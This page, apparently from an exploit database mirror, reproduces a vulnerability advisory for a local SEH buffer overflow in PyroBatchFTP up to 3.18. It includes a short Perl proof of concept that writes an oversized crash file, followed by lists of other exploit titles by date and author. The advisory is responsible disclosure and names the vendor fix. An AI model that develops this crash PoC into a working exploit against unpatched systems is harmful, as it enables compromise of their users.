Search for hundreds of thousands of exploits

"PyroBatchFTP < 3.19 - Buffer Overflow"

Author

Exploit author

"Manuel García Cárdenas"

Platform

Exploit platform

windows

Release date

Exploit published date

2018-01-12

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
=============================================
MGC ALERT 2018-001
- Original release date: December 22, 2017
- Last revised:  January 12, 2018
- Discovered by: Manuel García Cárdenas
- Severity: 7,5/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
PyroBatchFTP <= 3.18 - Local Buffer Overflow (SEH)

II. BACKGROUND
-------------------------
PyroBatchFTP is a Windows software that lets you exchange files with FTP,
FTPS or SFTP servers in an automatic and unattended way, using a simple yet
powerful batch/script language.

III. DESCRIPTION
-------------------------
The Enterprise version of PyroBatchFTP is affected by a Local Buffer
Overflow vulnerability.

The application does not check bounds when reading the file that will
execute the script, resulting in a classic Buffer Overflow overwriting SEH
handler.

To exploit the vulnerability only is needed create a local script to
interact with the application.

IV. PROOF OF CONCEPT
-------------------------

my $file= "crash.cmd";
my $junk= "A" x 2052;
my $nseh = "BBBB";
my $seh = "CCCC";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh;
close($FILE);
print "File Created successfully\n";

V. BUSINESS IMPACT
-------------------------
Availability compromise can result from these attacks.

VI. SYSTEMS AFFECTED
-------------------------
PyroBatchFTP <= 3.18

VII. SOLUTION
-------------------------
Vendor release 3.19 version
http://www.emtec.com/downloads/pyrobatchftp/pyrobatchftp319_changes.txt

VIII. REFERENCES
-------------------------
https://www.emtec.com/pyrobatchftp/index.html

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
December 22, 2017 1: Initial release
January 12, 2018 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
December 22, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
December 22, 2017 2: Send to vendor
January 12, 2018 3: Vendor fix the vulnerability and release a new version
January 12, 2018 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Release DateTitleTypePlatformAuthor
2020-07-09"FrootVPN 4.8 - 'frootvpn' Unquoted Service Path"localwindowsv3n0m
2020-07-06"Fire Web Server 0.1 - Remote Denial of Service (PoC)"doswindows"Saeed reza Zamanian"
2020-07-01"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)"localwindows"Paras Bhatia"
2020-06-26"KiteService 1.2020.618.0 - Unquoted Service Path"localwindows"Marcos Antonio León"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
2020-06-23"Code Blocks 20.03 - Denial Of Service (PoC)"doswindows"Paras Bhatia"
2020-06-23"Lansweeper 7.2 - Incorrect Access Control"localwindows"Amel BOUZIANE-LEBLOND"
2020-06-22"Frigate 2.02 - Denial Of Service (PoC)"doswindows"Paras Bhatia"
2020-06-17"Code Blocks 17.12 - 'File Name' Local Buffer Overflow (Unicode) (SEH) (PoC)"localwindows"Paras Bhatia"
2020-06-16"Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path"localwindowsboku
Release DateTitleTypePlatformAuthor
2020-05-21"Composr CMS 10.0.30 - Persistent Cross-Site Scripting"webappsphp"Manuel García Cárdenas"
2019-09-13"phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery"webappsphp"Manuel García Cárdenas"
2019-03-13"WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion"webappsphp"Manuel García Cárdenas"
2018-09-19"WordPress Plugin Localize My Post 1.0 - Local File Inclusion"webappsphp"Manuel García Cárdenas"
2018-09-19"WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion"webappsphp"Manuel García Cárdenas"
2018-06-11"WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection"webappsphp"Manuel García Cárdenas"
2018-04-18"Kodi 17.6 - Persistent Cross-Site Scripting"webappsmultiple"Manuel García Cárdenas"
2018-03-12"TextPattern 4.6.2 - 'qty' SQL Injection"webappsphp"Manuel García Cárdenas"
2018-01-12"PyroBatchFTP < 3.19 - Buffer Overflow"doswindows"Manuel García Cárdenas"
2017-12-15"Sync Breeze 10.2.12 - Denial of Service"doswindows"Manuel García Cárdenas"
2017-04-11"WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection"webappsphp"Manuel García Cárdenas"
2016-09-22"Exponent CMS 2.3.9 - Blind SQL Injection"webappsphp"Manuel García Cárdenas"
2016-04-26"ImpressCMS 1.3.9 - SQL Injection"webappsphp"Manuel García Cárdenas"
2016-02-04"UliCMS v9.8.1 - SQL Injection"webappsphp"Manuel García Cárdenas"
2015-10-06"PHP-Fusion 7.02.07 - Blind SQL Injection"webappsphp"Manuel García Cárdenas"
2014-11-17"WebsiteBaker 2.8.3 - Multiple Vulnerabilities"webappsphp"Manuel García Cárdenas"
2014-11-17"Zoph 0.9.1 - Multiple Vulnerabilities"webappsphp"Manuel García Cárdenas"
2014-11-13"Piwigo 2.6.0 - 'picture.php?rate' SQL Injection"webappsphp"Manuel García Cárdenas"
2013-09-30"XAMPP 1.8.1 - 'lang.php?WriteIntoLocalDisk method' Local Write Access"webappsphp"Manuel García Cárdenas"
2013-06-04"Telaen 2.7.x - Open Redirection"webappsphp"Manuel García Cárdenas"
2013-06-04"Telaen 2.7.x - Cross-Site Scripting"webappsphp"Manuel García Cárdenas"
2013-06-03"Telaen - Information Disclosure"webappsphp"Manuel García Cárdenas"
2013-03-10"Asteriskguru Queue Statistics - 'warning' Cross-Site Scripting"webappsphp"Manuel García Cárdenas"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/43548/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.